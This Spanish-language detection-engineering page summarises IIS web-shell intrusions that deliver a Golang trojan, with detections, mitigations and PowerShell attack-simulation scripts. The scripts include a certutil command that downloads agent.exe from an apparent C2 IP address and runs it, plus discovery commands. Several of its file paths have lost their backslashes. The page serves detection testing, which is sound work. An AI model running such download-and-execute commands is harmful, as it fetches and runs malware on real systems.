Prueba, Error y Errores Tipográficos: Por qué Algunos Ataques de Malware no son tan ‘Sofisticados’ como Crees
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo describe tres incidentes separados donde un actor de amenazas utilizó servidores web IIS comprometidos para descargar y ejecutar un troyano basado en Golang (agent.exe) en los puntos finales de las víctimas. Los atacantes intentaron repetidamente la ejecución, usaron certutil para obtener las cargas útiles y luego añadieron exclusiones en Windows Defender antes de intentar establecer persistencia a través de un servicio de Windows. La detección se logró mediante registros de EDR y Sysmon, que capturaron líneas de comando, árboles de procesos y actividad de red. Los ataques ilustran cómo los adversarios se adaptan a los obstáculos defensivos en lugar de seguir un plan perfecto.
Investigación
Los analistas de Huntress examinaron los registros de eventos de Windows, eventos de Sysmon y registros del servidor web IIS para reconstruir la cadena de ataque. Identificaron la ejecución inicial de web-shell a través de w3wp.exe, observaron comandos malformados, repetidos intentos de entrega de carga útil y la creación de un servicio llamado WindowsUpdate que no logró iniciarse. Se recopilaron y correlacionaron múltiples indicadores como rutas de archivos, líneas de comando y conexiones de red a través de los tres incidentes.
Mitigación
Las mitigaciones clave incluyen fortalecer los servidores IIS, restringir la ejecución de web-shell, imponer listas estrictas de aplicaciones permitidas, monitorear el uso anormal de LOLBins como certutil y PowerShell, y asegurar que las exclusiones de Windows Defender no se creen arbitrariamente. También se recomienda el aislamiento rápido de hosts comprometidos y la eliminación de herramientas caídas como GotoHTTP.
Respuesta
Al detectarlo, los respondedores deben aislar el punto final afectado, recopilar registros completos de árboles de procesos y red, eliminar cualquier binario malicioso, revertir las exclusiones no autorizadas de Windows Defender, y verificar los fallos de creación de servicios. Realice una revisión exhaustiva del servidor web en busca de páginas comprometidas y rote todas las credenciales comprometidas.
Flujo de Ataque
Detecciones
Atribuir la Ejecución para Ocultar Archivos (a través de líneas de comandos)
Ver
Ejecutable Sospechoso que Contiene Solo Números en el Nombre (a través de líneas de comandos)
Ver
Cambios Sospechosos en Preferencias de Windows Defender (a través de powershell)
Ver
Uso de Certutil para Codificación de Datos y Operaciones de Certificados (a través de líneas de comandos)
Ver
Archivos Sospechosos en Perfil de Usuario Público (a través de evento de archivo)
Ver
Ejecución Sospechosa desde el Perfil de Usuario Público (a través de creación de procesos)
Ver
IOCs (IP de Origen) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
IOCs (HashSha256) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
IOCs (IP de Destino) para detectar: Prueba, Error y Errores Tipográficos: Por Qué Algunos Ataques de Malware No son Tan ‘Sofisticados’ Como Crees
Ver
Detección de Solicitudes POST Maliciosas en el Servidor Web [Servidor Web]
Ver
Detectar Ejecución de Línea de Comandos desde el Proceso del Servidor Web [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La Verificación Previa de Telemetría y Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un atacante que ya ha obtenido ejecución de código en un servidor IIS comprometido utiliza elw3wp.exeproceso (el trabajador de IIS) para ejecutar una serie de proxies binarios firmados. Primero, enumeran el estado del sistema y la red (whoami.exe,netstat -an,ipconfig /all). Luego, utilizancertutil.exepara descargar una carga maliciosa (agent.exe) desde un servidor C2 remoto y ejecutarla inmediatamente en el directorio público del usuario. Todos los comandos se emiten a través decmd.exe /clanzado bajo el contexto dew3wp.exe, asegurando que el evento de creación del proceso cumpla con las condiciones de la regla.# 1. Enumerar información del sistema/usuario Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. Descargar carga maliciosa a través de certutil y ejecutarla $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
Script de Prueba de Regresión: El script a continuación automatiza toda la cadena de ataque, reproduciendo la telemetría exacta que debería activar la regla Sigma.
<# .SINOPSIS Simula actividad de adversarios que activa la regla Sigma "Detectar Ejecución de Línea de Comandos desde Proceso del Servidor Web". .DESCRIPCIÓN Ejecuta una serie de comandos de descubrimiento y descarga y ejecución desde el proceso del trabajador de IIS (w3wp.exe). Se ejecuta en un host de Windows donde la auditoría de creación de procesos (ID de Evento 4688) está habilitada. #> # Función para invocar un comando a través de w3wp.exe function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invocando vía w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. Comandos de descubrimiento (MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. Descarga maliciosa y ejecución (MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
Comandos de Limpieza: Elimina la carga maliciosa descargada y termina cualquier proceso perdido.
# Eliminar el binario malicioso del agente Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # Opcionalmente detener el agente si aún está en ejecución Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force